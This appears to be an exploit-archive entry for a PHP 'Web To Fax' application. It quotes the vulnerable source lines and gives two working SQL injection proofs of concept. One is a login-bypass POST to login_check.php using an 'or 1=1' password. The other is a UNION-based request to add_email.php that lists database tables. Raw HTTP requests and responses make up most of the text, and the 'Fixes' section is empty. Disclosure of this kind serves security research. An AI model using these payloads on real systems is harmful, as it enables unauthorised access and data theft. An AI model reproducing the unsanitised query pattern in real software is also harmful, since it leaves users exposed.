Twilio WEB To Fax Machine System Application 1.0 - SQL Injection

2019-01-14 19:05:14

# Exploit Title: Fax Machine System Application 1.0 - SQL Injection
# Dork: N/A
# Date: 2019-01-13
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://ranksol.com/
# Software Link: https://codecanyon.net/item/twilio-web-to-fax-machine-system-application-php-script/22139608
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC:
# 1)
# http://localhost/[PATH]/login_check.php
#

#07 header("Location:login.php");
#08 }else{
#09 $email = $_POST['email'];
#10 $password = $_POST['password'];
#11 $sql = "SELECT * FROM user WHERE email = '$email' AND password = '$password'";
#12 $result = $conn->query($sql);
#13 $counts = mysqli_num_rows($result);
#14 if($counts > 0){

POST /[PATH]/login_check.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 75
Cookie: PHPSESSID=5fd1dbc1e4c6b5876e1f44dbc157af9f
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
email=1&password='or 1=1 or ''='&submit=Login: undefined
HTTP/1.1 302 Found
Date: Sun, 13 Jan 2019 13:24:24 GMT
Server: Apache
X-Powered-By: PHP/7.1.25
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Location: dashboard.php
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

# POC:
# 2)
# http://localhost/[PATH]/add_email.php?id=[SQL]
#

#46 $sel = "select `id`, `number` from subscribers where id = '".$_REQUEST['id']."'";
#47 $exe = @mysqli_query($conn,$sel);
#48 $row = @mysqli_fetch_assoc($exe);
#49 $subscriber_number = $row['number'];

GET /[PATH]/add_email.php?id=-34' union select 1,(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR+1,4,0x30),0x3a20,table_name,0x3c62723e))))x)-- - HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=5fd1dbc1e4c6b5876e1f44dbc157af9f
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Sun, 13 Jan 2019 13:34:31 GMT
Server: Apache
X-Powered-By: PHP/7.1.25
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

Fixes

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